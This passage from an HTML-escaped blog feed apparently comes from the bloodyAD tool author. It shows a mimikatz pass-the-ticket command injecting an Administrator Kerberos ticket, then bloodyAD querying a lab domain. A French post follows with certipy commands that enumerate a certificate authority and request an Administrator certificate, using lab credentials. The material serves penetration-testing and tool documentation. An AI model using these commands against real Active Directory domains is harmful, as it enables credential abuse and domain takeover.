&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c"&gt;## \ / ## &amp;gt; https://blog.gentilkiwi.com/mimikatz&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;## v ##&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;Vincent&lt;/span&gt; &lt;span class="n"&gt;LE&lt;/span&gt; &lt;span class="n"&gt;TOUX&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;vincent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;letoux&lt;/span&gt;&lt;span class="nv"&gt;@gmail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;#####&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;pingcastle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;mysmartlogon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt; &lt;span class="p"&gt;***/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;commandline&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;# kerberos::ptt d:\gold\documents\bloodyAD\Administrator.kirbi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;*&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;d:\gold\documents\bloodyAD\Administrator.kirbi&amp;#39;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OK&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Check if the ticket is in memory, not expired, for the right client/server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;klist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Current&lt;/span&gt; &lt;span class="n"&gt;LogonId&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;0x75af1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Cached&lt;/span&gt; &lt;span class="n"&gt;Tickets&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;#0&amp;gt; Client: Administrator @ BLOODY.LOCAL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ldap&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="p"&gt;@&lt;/span&gt; &lt;span class="n"&gt;BLOODY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LOCAL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;KerbTicket&lt;/span&gt; &lt;span class="n"&gt;Encryption&lt;/span&gt; &lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;256&lt;/span&gt;&lt;span class="n"&gt;-CTS-HMAC-SHA1&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;96&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="n"&gt;Flags&lt;/span&gt; &lt;span class="n"&gt;0x804a0000&lt;/span&gt; &lt;span class="p"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;reserved&lt;/span&gt; &lt;span class="n"&gt;initial&lt;/span&gt; &lt;span class="n"&gt;0xa0000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;Start &lt;/span&gt;&lt;span class="n"&gt;Time&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;56&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;50&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="n"&gt;Time&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;54&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;52&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Renew&lt;/span&gt; &lt;span class="n"&gt;Time&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RSADSI&lt;/span&gt; &lt;span class="nb"&gt;RC4-HMAC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Cache&lt;/span&gt; &lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Kdc&lt;/span&gt; &lt;span class="n"&gt;Called&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Install winkerberos &amp;gt; 0.9.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-upgrade&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-force-reinstall&lt;/span&gt; &lt;span class="n"&gt;winkerberos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## And now the magic happens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## (Don&amp;#39;t forget to add an entry in C:\Windows\System32\drivers\etc\hosts for WIN-IJ5B521UO5L.bloody.local if needed)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=bloody,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version:&lt;/span&gt; &lt;span class="n"&gt;DS_BEHAVIOR_WIN2016&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>L'authentication par certificat dépoussiérée</title><link>https://cravaterouge.com/fr/articles/ad-certificate/</link><pubDate>Thu, 09 Nov 2023 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/fr/articles/ad-certificate/</guid><description>&lt;p&gt;Il y a quelques jours, j&amp;rsquo;ai lu un &lt;a href="https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html" target="_blank" rel="noopener"&gt;excellent article&lt;/a&gt; de Yannick Méheut d&amp;rsquo;Almond sur l&amp;rsquo;authentification par certificat dans un environnement Active Directory. C&amp;rsquo;est particulièrement utile lorsque PKINIT n&amp;rsquo;est pas supporté et que vous ne pouvez donc pas utiliser votre certificat pour demander un TGT.
C&amp;rsquo;est pourquoi j&amp;rsquo;ai voulu étendre les capacités de &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; en permettant l&amp;rsquo;authentification par certificat.
Voici un exemple d&amp;rsquo;utilisation (la première partie montre comment obtenir un certificat si vous voulez juste essayer la fonctionnalité):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Grab the cert&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Get the CA Authority name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@bloody&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-debug&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Authenticating&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;LDAP&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Bound&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;ldaps&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;636&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="k"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="kd"&gt;Configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;path: &lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Configuration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Finding&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;33&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Finding&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;authorities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;1&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;authority&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;11&lt;/span&gt; &lt;span class="n"&gt;enabled&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;resolve&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC01.bloody.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;192.168.10.2&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;CA&lt;/span&gt; &lt;span class="kd"&gt;configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;for &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bloody-DC01-CA&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;CSRA&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;DCOM&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;CA&lt;/span&gt; &lt;span class="kd"&gt;configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;for &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bloody-DC01-CA&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Resolved&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC01.bloody.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Connecting&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Get the PFX&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-target&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-ca&lt;/span&gt; &lt;span class="nb"&gt;bloody-DC01&lt;/span&gt;&lt;span class="n"&gt;-CA&lt;/span&gt; &lt;span class="n"&gt;-template&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;RPC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;requested&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;UPN&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Administrator@bloody.local&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Certificate&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="n"&gt;SID&lt;/span&gt;
